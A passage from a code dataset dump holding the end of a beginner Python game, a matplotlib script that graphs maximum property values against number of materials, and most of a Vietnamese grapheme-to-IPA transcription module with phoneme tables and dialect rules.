print(\"There are more bridges ahead.\")\n score += 1\n print(\"Game Over! You scored\",str(score) + \".\")\nplayGame = True\nwhile playGame:\n play()\n print(\"Would you like to play again?\")\n again = input()\n if again != \"yes\":\n playGame = False\n quit()\n","sub_path":"Python - Beginner/lesson 5 - youwen.py","file_name":"lesson 5 - youwen.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"93282866","text":"#!/usr/bin/env python3\n\nimport click\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n@click.command()\n@click.argument('csv-path', nargs=-1, type=click.Path())\n@click.option('-c', '--col', type=int)\n@click.option('-o', '--output-path', type=click.Path(), default=\"comparison_graph.png\")\n@click.option('--ylabel')\n@click.option('--ymax', type=float)\ndef bin_graph(csv_path, col, output_path, ylabel=\"\", ymax=None):\n all_data = []\n max_mats = 0\n\n print(\"loading data...\")\n for path in csv_path:\n r = np.loadtxt(path, delimiter=',', skiprows=1, usecols=col)\n rmax_by_mat = np.maximum.accumulate(r)\n all_data.append(rmax_by_mat)\n max_mats = max(max_mats, rmax_by_mat.size)\n\n np_data = np.empty((max_mats, len(all_data)))\n for i, dataset in enumerate(all_data):\n np_data[:,i] = dataset\n\n print(\"plotting...\")\n fig = plt.figure(figsize=(3.75,3.75), tight_layout=True)\n ax = fig.add_subplot(1, 1, 1)\n\n ax.set_xlabel(\"# materials\")\n ax.set_ylabel(ylabel)\n\n ax.grid(linestyle='-', color='0.8', zorder=0)\n ax.plot(range(max_mats), np_data)\n if ymax:\n ax.axhline(ymax, linestyle=\"--\", lw=3, color=\"black\", label=\"Max\")\n\n ax.legend(csv_path)\n\n fig.savefig(output_path, dpi=300)\n plt.close(fig)\n\n\n\nif __name__ == '__main__':\n bin_graph()\n","sub_path":"htsohm/bin/graph_max_prop_by_num_materials.py","file_name":"graph_max_prop_by_num_materials.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"591148794","text":"\r\n# (C1)(w)V(G|C2)+T\r\n\r\n#symbol \" ' \" for undefine symbol and sign for english\r\n\r\n'''\r\nC1 = initial consonant onset\r\nw = labiovelar on-glide /w/\r\nV = vowel nucleus\r\nG = off-glide coda (/j/ or /w/)\r\nC2 = final consonant coda\r\nT = tone.\r\n'''\r\nCus_onsets = { u'b' : u'b', u't' : u't', u'th' : u'tʰ', u'đ' : u'd', u'ch' : u'c', \r\n\t\t\t\tu'kh' : u'x', u'g' : u'ɣ', u'l' : u'l', u'm' : u'm', u'n': u'n', \r\n\t\t\t\tu'ngh': u'ŋ', u'nh' : u'ɲ', u'ng' : u'ŋ', u'ph' : u'f', u'v' : u'v', \r\n\t\t\t\tu'x' : u's', u'd' : u'z', u'h' : u'h', u'p' : u'p', u'qu' : u'kw',\r\n\t\t\t\tu'gi' : u'j', u'tr' : u'ʈ', u'k' : u'k', u'c' : u'k', u'gh' : u'ɣ', \r\n\t\t\t\tu'r' : u'ʐ', u's' : u'ʂ', u'gi': u'j'}\r\n\t\t\t\t\r\n\t\t\t \r\nCus_nuclei = { u'a' : u'a', u'á' : u'a', u'à' : u'a', u'ả' : u'a', u'ã' : u'a', u'ạ' : u'a', \r\n\t\t\t\tu'â' : u'ɤ̆', u'ấ' : u'ɤ̆', u'ầ' : u'ɤ̆', u'ẩ' : u'ɤ̆', u'ẫ' : u'ɤ̆', u'ậ' : u'ɤ̆',\r\n\t\t\t\tu'ă' : u'ă', u'ắ' : u'ă', u'ằ' : u'ă', u'ẳ' : u'ă', u'ẵ' : u'ă', u'ặ' : u'ă',\r\n\t\t\t\tu'e' : u'ɛ', u'é' : u'ɛ', u'è' : u'ɛ', u'ẻ' : u'ɛ', u'ẽ' : u'ɛ', u'ẹ' : u'ɛ',\r\n\t\t\t\tu'ê' : u'e', u'ế' : u'e', u'ề' : u'e', u'ể' : u'e', u'ễ' : u'e', u'ệ' : u'e',\r\n\t\t\t\tu'i' : u'i', u'í' : u'i', u'ì' : u'i', u'ỉ' : u'i', u'ĩ' : u'i', u'ị' : u'i',\r\n\t\t\t\tu'o' : u'ɔ', u'ó' : u'ɔ', u'ò' : u'ɔ', u'ỏ' : u'ɔ', u'õ' : u'ɔ', u'ọ' : u'ɔ',\r\n\t\t\t\tu'ô' : u'o', u'ố' : u'o', u'ồ' : u'o', u'ổ' : u'o', u'ỗ' : u'o', u'ộ' : u'o',\r\n\t\t\t\tu'ơ' : u'ɤ', u'ớ' : u'ɤ', u'ờ' : u'ɤ', u'ở' : u'ɤ', u'ỡ' : u'ɤ', u'ợ' : u'ɤ',\r\n\t\t\t\tu'u' : u'u', u'ú' : u'u', u'ù' : u'u', u'ủ' : u'u', u'ũ' : u'u', u'ụ' : u'u',\r\n\t\t\t\tu'ư' : u'ɯ', u'ứ' : u'ɯ', u'ừ' : u'ɯ', u'ử' : u'ɯ', u'ữ' : u'ɯ', u'ự' : u'ɯ',\r\n\t\t\t\tu'y' : u'i', u'ý' : u'i', u'ỳ' : u'i', u'ỷ' : u'i', u'ỹ' : u'i', u'ỵ' : u'i',\r\n\t\t\t\t\r\n\t\t\t\tu'eo' : u'eo', u'éo' : u'eo', u'èo' : u'eo', u'ẻo' : u'eo', u'ẽo': u'eo', u'ẹo' : u'eo',\r\n\t\t\t\tu'êu' : u'ɛu', u'ếu' : u'ɛu', u'ều' : u'ɛu', u'ểu' : u'ɛu', u'ễu': u'ɛu', u'ệu' : u'ɛu',\r\n\t\t\t\tu'ia' : u'iə', u'ía' : u'iə', u'ìa' : u'iə', u'ỉa' : u'iə', u'ĩa' : u'iə', u'ịa' : u'iə',\r\n\t\t\t\tu'ia' : u'iə', u'iá' : u'iə', u'ià' : u'iə', u'iả' : u'iə', u'iã' : u'iə', u'iạ' : u'iə',\r\n\t\t\t\tu'iê' : u'iə', u'iế' : u'iə', u'iề' : u'iə', u'iể' : u'iə', u'iễ' : u'iə', u'iệ' : u'iə',\r\n\t\t\t\tu'oo' : u'ɔ', u'óo' : u'ɔ', u'òo' : u'ɔ', u'ỏo' : u'ɔ', u'õo' : u'ɔ', u'ọo' : u'ɔ',\r\n\t\t\t\tu'oo' : u'ɔ', u'oó' : u'ɔ', u'oò' : u'ɔ', u'oỏ' : u'ɔ', u'oõ' : u'ɔ', u'oọ' : u'ɔ',\r\n\t\t\t\tu'ôô' : u'o', u'ốô' : u'o', u'ồô' : u'o', u'ổô' : u'o', u'ỗô' : u'o', u'ộô' : u'o',\t\t\t\t \r\n u'ôô' : u'o', u'ôố' : u'o', u'ôồ' : u'o', u'ôổ' : u'o', u'ôỗ' : u'o', u'ôộ' : u'o',\t\t\t\t \r\n u'ua' : u'uə', u'úa' : u'uə', u'ùa' : u'uə', u'ủa' : u'uə', u'ũa' : u'uə', u'ụa' : u'uə',\r\n\t\t\t\tu'uô' : u'uə', u'uố' : u'uə', u'uồ' : u'uə', u'uổ' : u'uə', u'uỗ' : u'uə', u'uộ' : u'uə',\r\n\t\t\t\tu'ưa' : u'ɯə', u'ứa' : u'ɯə', u'ừa' : u'ɯə', u'ửa' : u'ɯə', u'ữa' : u'ɯə', u'ựa' : u'ɯə',\r\n\t\t\t\tu'ươ' : u'ɯə', u'ướ' : u'ɯə', u'ườ' : u'ɯə', u'ưở' : u'ɯə', u'ưỡ' : u'ɯə', u'ượ' : u'ɯə',\r\n\t\t\t\tu'yê' : u'iɛ', u'yế' : u'iɛ', u'yề' : u'iɛ', u'yể' : u'iɛ', u'yễ' : u'iɛ', u'yệ' : u'iɛ', \r\n u'uơ' : u'uə', u'uở' : u'uə', u'uờ': u'uə', u'uở' : u'uə', u'uỡ' : u'uə', u'uợ' : u'uə',\r\n\t\t\t\t}\r\n\t\t\t\t \r\n\t \r\nCus_offglides = { u'ai' : u'aj', u'ái' : u'aj', u'ài' : u'aj', u'ải' : u'aj', u'ãi' : u'aj', u'ại' : u'aj',\r\n\t\t\t\t u'ay' : u'ăj', u'áy' : u'ăj', u'ày' : u'ăj', u'ảy' : u'ăj', u'ãy' : u'ăj', u'ạy' : u'ăj',\r\n\t\t\t\t u'ao' : u'aw', u'áo' : u'aw', u'ào' : u'aw', u'ảo' : u'aw', u'ão' : u'aw', u'ạo' : u'aw',\r\n\t\t\t\t u'au' : u'ăw', u'áu' : u'ăw', u'àu' : u'ăw', u'ảu' : u'ăw', u'ãu' : u'ăw', u'ạu' : u'ăw',\r\n\t\t\t\t u'ây' : u'ɤ̆j', u'ấy' : u'ɤ̆j', u'ầy' : u'ɤ̆j', u'ẩy' : u'ɤ̆j', u'ẫy' : u'ɤ̆j', u'ậy' : u'ɤ̆j', \r\n\t\t\t\t u'âu' : u'ɤ̆w', u'ấu' : u'ɤ̆w', u'ầu': u'ɤ̆w', u'ẩu' : u'ɤ̆w', u'ẫu' : u'ɤ̆w', u'ậu' : u'ɤ̆w',\r\n\t\t\t\t u'eo' : u'ew', u'éo' : u'ew', u'èo' : u'ew', u'ẻo' : u'ew', u'ẽo' : u'ew', u'ẹo' : u'ew',\r\n\t\t\t\t u'iu' : u'iw', u'íu' : u'iw', u'ìu' : u'iw', u'ỉu' : u'iw', u'ĩu' : u'iw', u'ịu' : u'iw',\r\n\t\t\t\t u'oi' : u'ɔj', u'ói' : u'ɔj', u'òi' : u'ɔj', u'ỏi' : u'ɔj', u'õi' : u'ɔj', u'ọi' : u'ɔj',\r\n\t\t\t\t u'ôi' : u'oj', u'ối' : u'oj', u'ồi' : u'oj', u'ổi' : u'oj', u'ỗi' : u'oj', u'ội' : u'oj',\r\n\t\t\t\t u'ui' : u'uj', u'úi' : u'uj', u'ùi' : u'uj', u'ủi' : u'uj', u'ũi' : u'uj', u'ụi' : u'uj', \r\n\t\t\t\t \r\n #u'uy' : u'uj', u'úy' : u'uj', u'ùy' : u'uj', u'ủy' : u'uj', u'ũy' : u'uj', u'ụy' : u'uj', \r\n u'uy' : u'ʷi', u'úy' : u'uj', u'ùy' : u'uj', u'ủy' : u'uj', u'ũy' : u'uj', u'ụy' : u'uj',\r\n #thay để hạn chế trùng âm\r\n u'uy' : u'ʷi', u'uý' : u'ʷi', u'uỳ' : u'ʷi', u'uỷ' : u'ʷi', u'uỹ' : u'ʷi', u'uỵ' : u'ʷi',\r\n\t\t\t\t \r\n u'ơi' : u'ɤj', u'ới' : u'ɤj', u'ời' : u'ɤj', u'ởi' : u'ɤj', u'ỡi' : u'ɤj', u'ợi' : u'ɤj', \r\n\t\t\t\t u'ưi' : u'ɯj', u'ứi' : u'ɯj', u'ừi' : u'ɯj', u'ửi' : u'ɯj', u'ữi' : u'ɯj', u'ựi' : u'ɯj', \r\n\t\t\t\t u'ưu' : u'ɯw', u'ứu' : u'ɯw', u'ừu' : u'ɯw', u'ửu' : u'ɯw', u'ữu' : u'ɯw', u'ựu' : u'ɯw',\r\n\r\n\t\t\t\t u'iêu' : u'iəw', u'iếu' : u'iəw', u'iều' : u'iəw', u'iểu' : u'iəw', u'iễu' : u'iəw', u'iệu' : u'iəw',\r\n\t\t\t\t u'yêu' : u'iəw', u'yếu' : u'iəw', u'yều' : u'iəw', u'yểu' : u'iəw', u'yễu' : u'iəw', u'yệu' : u'iəw', \r\n\t\t\t\t u'uôi' : u'uəj', u'uối' : u'uəj', u'uồi' : u'uəj', u'uổi' : u'uəj', u'uỗi' : u'uəj', u'uội' : u'uəj', \r\n\t\t\t\t u'ươi' : u'ɯəj', u'ưới' : u'ɯəj', u'ười' : u'ɯəj', u'ưởi' : u'ɯəj', u'ưỡi' : u'ɯəj', u'ượi' : u'ɯəj', \r\n\t\t\t\t u'ươu' : u'ɯəw', u'ướu' : u'ɯəw', u'ườu' : u'ɯəw', u'ưởu' : u'ɯəw', 'ưỡu' : u'ɯəw', u'ượu' : u'ɯəw'\t \r\n\t\t\t }\r\n#Các âm vòng ở đây i chang không vòm: không có w ở trước\t\t=> Try to add ʷ\t\r\nCus_onglides = { u'oa' : u'ʷa', u'oá' : u'ʷa', u'oà' : u'ʷa', u'oả' : u'ʷa', u'oã' : u'ʷa', u'oạ' : u'ʷa', \r\n\t\t u'óa' : u'ʷa', u'òa' : u'ʷa', u'ỏa' : u'ʷa', u'õa' : u'ʷa', u'ọa' : u'ʷa', \r\n\t\t\t u'oă' : u'ʷă', u'oắ' : u'ʷă', u'oằ' : u'ʷă', u'oẳ' : u'ʷă', u'oẵ' : u'ʷă', u'oặ' : u'ʷă', \t\r\n\t\t\t u'oe' : u'ʷɛ', u'oé' : u'ʷɛ', u'oè' : u'ʷɛ', u'oẻ' : u'ʷɛ', u'oẽ' : u'ʷɛ', u'oẹ' : u'ʷɛ', \t\r\n\t\t\t u'oe' : u'ʷɛ', u'óe' : u'ʷɛ', u'òe' : u'ʷɛ', u'ỏe' : u'ʷɛ', u'õe' : u'ʷɛ', u'ọe' : u'ʷɛ', \t\r\n\t\t\t u'ua' : u'ʷa', u'uá' : u'ʷa', u'uà' : u'ʷa', u'uả' : u'ʷa', u'uã' : u'ʷa', u'uạ' : u'ʷa', \r\n\t\t\t u'uă' : u'ʷă', u'uắ' : u'ʷă', u'uằ' : u'ʷă', u'uẳ' : u'ʷă', u'uẵ' : u'ʷă', u'uặ' : u'ʷă', \t\r\n\t\t\t u'uâ' : u'ʷɤ̆', u'uấ' : u'ʷɤ̆', u'uầ' : u'ʷɤ̆', u'uẩ' : u'ʷɤ̆', u'uẫ' : u'ʷɤ̆', u'uậ' : u'ʷɤ̆', \r\n\t\t\t u'ue' : u'ʷɛ', u'ué' : u'ʷɛ', u'uè' : u'ʷɛ', u'uẻ' : u'ʷɛ', u'uẽ' : u'ʷɛ', u'uẹ' : u'ʷɛ', \r\n\t\t\t u'uê' : u'ʷe', u'uế' : u'ʷe', u'uề' : u'ʷe', u'uể' : u'ʷe', u'uễ' : u'ʷe', u'uệ' : u'ʷe', \r\n\t\t\t u'uơ' : u'ʷɤ', u'uớ' : u'ʷɤ', u'uờ' : u'ʷɤ', u'uở' : u'ʷɤ', u'uỡ' : u'ʷɤ', u'uợ' : u'ʷɤ', \r\n\t\t\t u'uy' : u'ʷi', u'uý' : u'ʷi', u'uỳ' : u'ʷi', u'uỷ' : u'ʷi', u'uỹ' : u'ʷi', u'uỵ' : u'ʷi',\r\n\t\t u'uya' : u'ʷiə', u'uyá' : u'ʷiə', u'uyà' : u'ʷiə', u'uyả' : u'ʷiə', u'uyã' : u'ʷiə', u'uyạ' : u'ʷiə', \r\n\t\t\t\t u'uyê' : u'ʷiə', u'uyế' : u'ʷiə', u'uyề' : u'ʷiə', u'uyể' : u'ʷiə', u'uyễ' : u'ʷiə', u'uyệ' : u'ʷiə', \r\n\t\t\t\t u'uyu' : u'ʷiu', u'uyú' : u'ʷiu', u'uyù' : u'ʷiu', u'uyủ' : u'ʷiu', u'uyũ' : u'ʷiu', u'uyụ' : u'ʷiu', \r\n\t\t\t\t u'uyu' : u'ʷiu', u'uýu' : u'ʷiu', u'uỳu' : u'ʷiu', u'uỷu' : u'ʷiu', u'uỹu' : u'ʷiu', u'uỵu' : u'ʷiu',\r\n u'oen' : u'ʷen', u'oén' : u'ʷen', u'oèn' : u'ʷen', u'oẻn' : u'ʷen', u'oẽn' : u'ʷen', u'oẹn' : u'ʷen', \t\r\n u'oet' : u'ʷet', u'oét' : u'ʷet', u'oèt' : u'ʷet', u'oẻt' : u'ʷet', u'oẽt' : u'ʷet', u'oẹt' : u'ʷet' \t\r\n\t\t\t\t}\r\n\r\nCus_onoffglides = { u'oe' : u'ɛj', u'oé' : u'ɛj', u'oè' : u'ɛj', u'oẻ' : u'ɛj', u'oẽ' : u'ɛj', u'oẹ' : u'ɛj', \r\n\t\t\t\t u'oai' : u'aj', u'oái' : u'aj', u'oài' : u'aj', u'oải' : u'aj', u'oãi' : u'aj', u'oại' : u'aj',\r\n\t\t\t\t u'oay' : u'ăj', u'oáy' : u'ăj', u'oày' : u'ăj', u'oảy' : u'ăj', u'oãy' : u'ăj', u'oạy' : u'ăj',\r\n\t\t\t\t u'oao' : u'aw', u'oáo' : u'aw', u'oào' : u'aw', u'oảo' : u'aw', u'oão' : u'aw', u'oạo' : u'aw',\r\n\t\t\t\t u'oeo' : u'ew', u'oéo' : u'ew', u'oèo' : u'ew', u'oẻo' : u'ew', u'oẽo' : u'ew', u'oẹo' : u'ew',\r\n\t\t\t\t u'oeo' : u'ew', u'óeo' : u'ew', u'òeo' : u'ew', u'ỏeo' : u'ew', u'õeo' : u'ew', u'ọeo' : u'ew',\r\n\t\t\t\t u'ueo' : u'ew', u'uéo' : u'ew', u'uèo' : u'ew', u'uẻo' : u'ew', u'uẽo' : u'ew', u'uẹo' : u'ew',\r\n\t\t\t\t u'uai' : u'aj', u'uái' : u'aj', u'uài' : u'aj', u'uải' : u'aj', u'uãi' : u'aj', u'uại' : u'aj',\r\n\t\t\t\t u'uay' : u'ăj', u'uáy' : u'ăj', u'uày' : u'ăj', u'uảy' : u'ăj', u'uãy' : u'ăj', u'uạy' : u'ăj',\r\n\t\t\t\t u'uây' : u'ɤ̆j', u'uấy' : u'ɤ̆j', u'uầy' : u'ɤ̆j', u'uẩy' : u'ɤ̆j', u'uẫy' : u'ɤ̆j', u'uậy' : u'ɤ̆j'\r\n\t\t\t\t }\r\n\r\nCus_codas = { u'p' : u'p', u't' : u't', u'c' : u'k', u'm' : u'm', u'n' : u'n', u'ng' : u'ŋ', u'nh' : u'ɲ', u'ch' : u'tʃ' }\r\n\r\nCus_tones_p = { u'á' : 5, u'à' : 2, u'ả' : 4, u'ã' : 3, u'ạ' : 6, \r\n\t\t\t\tu'ấ' : 5, u'ầ' : 2, u'ẩ' : 4, u'ẫ' : 3, u'ậ' : 6,\r\n\t\t\t\tu'ắ' : 5, u'ằ' : 2, u'ẳ' : 4, u'ẵ' : 3, u'ặ' : 6,\r\n\t\t\t\tu'é' : 5, u'è' : 2, u'ẻ' : 4, u'ẽ' : 3, u'ẹ' : 6,\r\n\t\t\t\tu'ế' : 5, u'ề' : 2, u'ể' : 4, u'ễ' : 3, u'ệ' : 6,\r\n\t\t\t\tu'í' : 5, u'ì' : 2, u'ỉ' : 4, u'ĩ' : 3, u'ị' : 6,\r\n\t\t\t\tu'ó' : 5, u'ò' : 2, u'ỏ' : 4, u'õ' : 3, u'ọ' : 6,\r\n\t\t\t\tu'ố' : 5, u'ồ' : 2, u'ổ' : 4, u'ỗ' : 3, u'ộ' : 6,\r\n\t\t\t\tu'ớ' : 5, u'ờ' : 2, u'ở' : 4, u'ỡ' : 3, u'ợ' : 6,\r\n\t\t\t\tu'ú' : 5, u'ù' : 2, u'ủ' : 4, u'ũ' : 3, u'ụ' : 6,\r\n\t\t\t\tu'ứ' : 5, u'ừ' : 2, u'ử' : 4, u'ữ' : 3, u'ự' : 6,\r\n\t\t\t\tu'ý' : 5, u'ỳ' : 2, u'ỷ' : 4, u'ỹ' : 3, u'ỵ' : 6,\r\n\t\t\t }\r\n\t\t\t \r\nCus_gi = { u'gi' : u'zi', u'gí': u'zi', u'gì' : u'zi', u'gì' : u'zi', u'gĩ' : u'zi', u'gị' : u'zi'}\r\n\r\nCus_qu = {u'quy' : u'kwi', u'qúy' : u'kwi', u'qùy' : u'kwi', u'qủy' : u'kwi', u'qũy' : u'kwi', u'qụy' : u'kwi'}\r\n\r\n\r\n################################################3\r\nimport sys, codecs, re\r\nfrom io import StringIO\r\nfrom optparse import OptionParser\r\nfrom string import punctuation\r\n#import prosodic as p\r\n\r\ndef trans(word, dialect, glottal, pham, cao, palatals):\r\n\r\n \r\n #Custom\r\n onsets, nuclei, codas, onglides, offglides, onoffglides, qu, gi = Cus_onsets, Cus_nuclei, Cus_codas, Cus_onglides, Cus_offglides, Cus_onoffglides, Cus_qu, Cus_gi\r\n\r\n\r\n\r\n if pham or cao:\r\n\r\n #Custom\r\n tones_p = Cus_tones_p\r\n\r\n\r\n tones = tones_p\r\n\r\n ons = ''\r\n nuc = ''\r\n cod = ''\r\n ton = 0\r\n oOffset = 0\r\n cOffset = 0 \r\n l = len(word)\r\n\r\n if l > 0:\r\n if word[0:3] in onsets: # if onset is 'ngh'\r\n ons = onsets[word[0:3]]\r\n oOffset = 3\r\n elif word[0:2] in onsets: # if onset is 'nh', 'gh', 'kʷ' etc\r\n ons = onsets[word[0:2]]\r\n oOffset = 2\r\n elif word[0] in onsets: # if single onset\r\n ons = onsets[word[0]]\r\n oOffset = 1\r\n\r\n if word[l-2:l] in codas: # if two-character coda\r\n cod = codas[word[l-2:l]]\r\n cOffset = 2\r\n elif word[l-1] in codas: # if one-character coda\r\n cod = codas[word[l-1]]\r\n cOffset = 1\r\n \r\n\r\n #if word[0:2] == u'gi' and cod and len(word) == 3: # if you just have 'gi' and a coda...\r\n if word[0:2] in gi and cod and len(word) == 3: # if you just have 'gi' and a coda...\r\n nucl = u'i'\r\n ons = u'z'\r\n else:\r\n nucl = word[oOffset:l-cOffset]\r\n\r\n if nucl in nuclei:\r\n if oOffset == 0:\r\n if glottal == 1:\r\n if word[0] not in onsets: # if there isn't an onset.... \r\n ons = u'ʔ'+nuclei[nucl] # add a glottal stop\r\n else: # otherwise...\r\n nuc = nuclei[nucl] # there's your nucleus \r\n else: \r\n nuc = nuclei[nucl] # there's your nucleus \r\n else: # otherwise...\r\n nuc = nuclei[nucl] # there's your nucleus\r\n \r\n elif nucl in onglides and ons != u'kw': # if there is an onglide...\r\n nuc = onglides[nucl] # modify the nuc accordingly\r\n if ons: # if there is an onset...\r\n ons = ons+u'w' # labialize it, but...\r\n else: # if there is no onset...\r\n ons = u'w' # add a labiovelar onset \r\n\r\n elif nucl in onglides and ons == u'kw': \r\n nuc = onglides[nucl]\r\n \r\n elif nucl in onoffglides:\r\n cod = onoffglides[nucl][-1]\r\n nuc = onoffglides[nucl][0:-1]\r\n if ons != u'kw':\r\n if ons:\r\n ons = ons+u'w'\r\n else:\r\n ons = u'w'\r\n elif nucl in offglides:\r\n cod = offglides[nucl][-1]\r\n nuc = offglides[nucl][:-1]\r\n \r\n elif word in gi: # if word == 'gi', 'gì',...\r\n ons = gi[word][0]\r\n nuc = gi[word][1]\r\n\r\n elif word in qu: # if word == 'quy', 'qúy',...\r\n ons = qu[word][:-1]\r\n nuc = qu[word][-1]\r\n \r\n else: \r\n # Something is non-Viet\r\n return (None, None, None, None)\r\n\r\n\r\n # Velar Fronting (Northern dialect)\r\n if dialect == 'n':\r\n if nuc == u'a':\r\n if cod == u'k' and cOffset == 2: nuc = u'ɛ'\r\n if cod == u'ɲ' and nuc == u'a': nuc = u'ɛ'\r\n\r\n # Final palatals (Northern dialect)\r\n if nuc not in [u'i', u'e', u'ɛ']:\r\n if cod == u'ɲ': \r\n cod = u'ɲ' # u'ŋ'\r\n elif palatals != 1 and nuc in [u'i', u'e', u'ɛ']:\r\n if cod == u'ɲ': \r\n cod = u'ɲ'#u'ŋ'\r\n if palatals == 1:\r\n if cod == u'k' and nuc in [u'i', u'e', u'ɛ']: \r\n cod = u'c'\r\n\r\n # Velar Fronting (Southern and Central dialects)\r\n else:\r\n if nuc in [u'i', u'e']:\r\n if cod == u'k': cod = u't'\r\n if cod == u'ŋ': cod = u'n'\r\n\r\n # There is also this reverse fronting, see Thompson 1965:94 ff.\r\n elif nuc in [u'iə', u'ɯə', u'uə', u'u', u'ɯ', u'ɤ', u'o', u'ɔ', u'ă', u'ɤ̆']:\r\n if cod == u't': \r\n cod = u'k'\r\n if cod == u'n': cod = u'ŋ'\r\n\r\n # Monophthongization (Southern dialects: Thompson 1965: 86; Hoàng 1985: 181)\r\n if dialect == 's':\r\n if cod in [u'm', u'p']:\r\n if nuc == u'iə': nuc = u'i'\r\n if nuc == u'uə': nuc = u'u'\r\n if nuc == u'ɯə': nuc = u'ɯ'\r\n\r\n # Tones \r\n # Modified 20 Sep 2008 to fix aberrant 33 error\r\n tonelist = [tones[word[i]] for i in range(0,l) if word[i] in tones]\r\n if tonelist:\r\n ton = str(tonelist[len(tonelist)-1])\r\n else:\r\n if not (pham or cao):\r\n if dialect == 'c':\r\n ton = str('35')\r\n else:\r\n ton = str('33')\r\n else:\r\n ton = str('1')\r\n \r\n # Modifications for closed syllables\r\n if cOffset !=0:\r\n\r\n # Obstruent-final nang tones are modal voice\r\n if (dialect == 'n' or dialect == 's') and ton == u'21g' and cod in ['p', 't', 'k']:\r\n #if ton == u'21\\u02C0' and cod in ['p', 't', 'k']: # fixed 8 Nov 2016\r\n ton = u'21'\r\n\r\n # Modification for sắc in closed syllables (Northern and Central only)\r\n if ((dialect == 'n' and ton == u'24') or (dialect == 'c' and ton == u'13')) and cod in ['p', 't', 'k']:\r\n ton = u'45'\r\n\r\n # Modification for 8-tone system\r\n if cao == 1:\r\n if ton == u'5' and cod in ['p', 't', 'k']:\r\n ton = u'5b'\r\n if ton == u'6' and cod in ['p', 't', 'k']:\r\n ton = u'6b'\r\n\r\n # labialized allophony (added 17.09.08)\r\n if nuc in [u'u', u'o', u'ɔ']:\r\n if cod == u'ŋ':\r\n cod = u'ŋ͡m' \r\n if cod == u'k':\r\n cod = u'k͡p'\r\n\r\n return (ons, nuc, cod, ton)\r\n \r\ndef convert(word, dialect, glottal, pham, cao, palatals, delimit):\r\n \"\"\"Convert a single orthographic string to IPA.\"\"\"\r\n\r\n ons = ''\r\n nuc = ''\r\n cod = ''\r\n ton = 0\r\n seq = ''\r\n\r\n try:\r\n (ons, nuc, cod, ton) = trans(word, dialect, glottal, pham, cao, palatals)\r\n if None in (ons, nuc, cod, ton):\r\n seq = u'['+word+u']'\r\n else:\r\n seq = delimit+delimit.join(filter(None, (ons, nuc, cod, ton)))+delimit\r\n except (TypeError):\r\n pass\r\n\r\n return seq\r\n \r\n\r\n\r\n########################333\r\nfrom vinorm import *\r\nfrom underthesea import word_tokenize\r\nimport eng_to_ipa\r\n\r\nsyms=['ɯəj', 'ɤ̆j', 'ʷiə', 'ɤ̆w', 'ɯəw', 'ʷet', 'iəw', 'uəj', 'ʷen', 'tʰw', 'ʷɤ̆', 'ʷiu', 'kwi', 'ŋ͡m', 'k͡p', 'cw', 'jw', 'uə', 'eə', 'bw', 'oj', 'ʷi', 'vw', 'ăw', 'ʈw', 'ʂw', 'aʊ', 'fw', 'ɛu', 'tʰ', 'tʃ', 'ɔɪ', 'xw', 'ʷɤ', 'ɤ̆', 'ŋw', 'ʊə', 'zi', 'ʷă', 'dw', 'eɪ', 'aɪ', 'ew', 'iə', 'ɣw', 'zw', 'ɯj', 'ʷɛ', 'ɯw', 'ɤj', 'ɔ:', 'əʊ', 'ʷa', 'mw', 'ɑ:', 'hw', 'ɔj', 'uj', 'lw', 'ɪə', 'ăj', 'u:', 'aw', 'ɛj', 'iw', 'aj', 'ɜ:', 'kw', 'nw', 't∫', 'ɲw', 'eo', 'sw', 'tw', 'ʐw', 'iɛ', 'ʷe', 'i:', 'ɯə', 'dʒ', 'ɲ', 'θ', 'ʌ', 'l', 'w', '1', 'ɪ', 'ɯ', 'd', '∫', 'p', 'ə', 'u', 'o', '3', 'ɣ', '!', 'ð', 'ʧ', '6', 'ʒ', 'ʐ', 'z', 'v', 'g', 'ă', '_', 'æ', 'ɤ', '2', 'ʤ', 'i', '.', 'ɒ', 'b', 'h', 'n', 'ʂ', 'ɔ', 'ɛ', 'k', 'm', '5', ' ', 'c', 'j', 'x', 'ʈ', ',', '4', 'ʊ', 's', 'ŋ', 'a', 'ʃ', '?', 'r', ':', 'η', 'f', ';', 'e', 't', \"'\"]\r\n\r\ndef normEng (eng,delemit):\r\n return \"\"\r\n'''\r\n x= p.Text(eng)\r\n x.parse()\r\n PAR = str(x.bestParses()[0]).split(\"|\")\r\n SYL = x.syllables()\r\n if len(PAR) != len(SYL):\r\n print(\"check dif len: \", eng)\r\n result=\"/\"+\"/\".join(list(eng))\r\n return result\r\n result = \"\"\r\n for i,syl in enumerate(SYL):\r\n syllable = str(syl).replace(\"'\",\"\").replace(\"ː\",\"\").replace(\"ɑ\",\"a\")\r\n if PAR[i].lower().upper() == PAR[i]:\r\n result+=syllable+\"'5\"+\" \"\r\n else:\r\n result+=syllable+\"'1\"+\" \"\r\n result=result.rstrip(\" \")\r\n if delemit !=\"\":\r\n takemore=\"\"\r\n for r in result:\r\n if r in syms:\r\n takemore+=delemit+r\r\n result=takemore\r\n return result\r\n'''\r\ndef Parsing(listParse, text, delimit):\r\n undefine_symbol = \"'\"\r\n if listParse == \"default\":\r\n listParse=['ɯəj', 'ɤ̆j', 'ʷiə', 'ɤ̆w', 'ɯəw', 'ʷet', 'iəw', 'uəj', 'ʷen', 'tʰw', 'ʷɤ̆', 'ʷiu', 'kwi', 'ŋ͡m', 'k͡p', 'cw', 'jw', 'uə', 'eə', 'bw', 'oj', 'ʷi', 'vw', 'ăw', 'ʈw', 'ʂw', 'aʊ', 'fw', 'ɛu', 'tʰ', 'tʃ', 'ɔɪ', 'xw', 'ʷɤ', 'ɤ̆', 'ŋw', 'ʊə', 'zi', 'ʷă', 'dw', 'eɪ', 'aɪ', 'ew', 'iə', 'ɣw', 'zw', 'ɯj', 'ʷɛ', 'ɯw', 'ɤj', 'ɔ:', 'əʊ', 'ʷa', 'mw', 'ɑ:', 'hw', 'ɔj', 'uj', 'lw', 'ɪə', 'ăj', 'u:', 'aw', 'ɛj', 'iw', 'aj', 'ɜ:', 'kw', 'nw', 't∫', 'ɲw', 'eo', 'sw', 'tw', 'ʐw', 'iɛ', 'ʷe', 'i:', 'ɯə', 'dʒ', 'ɲ', 'θ', 'ʌ', 'l', 'w', '1', 'ɪ', 'ɯ', 'd', '∫', 'p', 'ə', 'u', 'o', '3', 'ɣ', '!', 'ð', 'ʧ', '6', 'ʒ', 'ʐ', 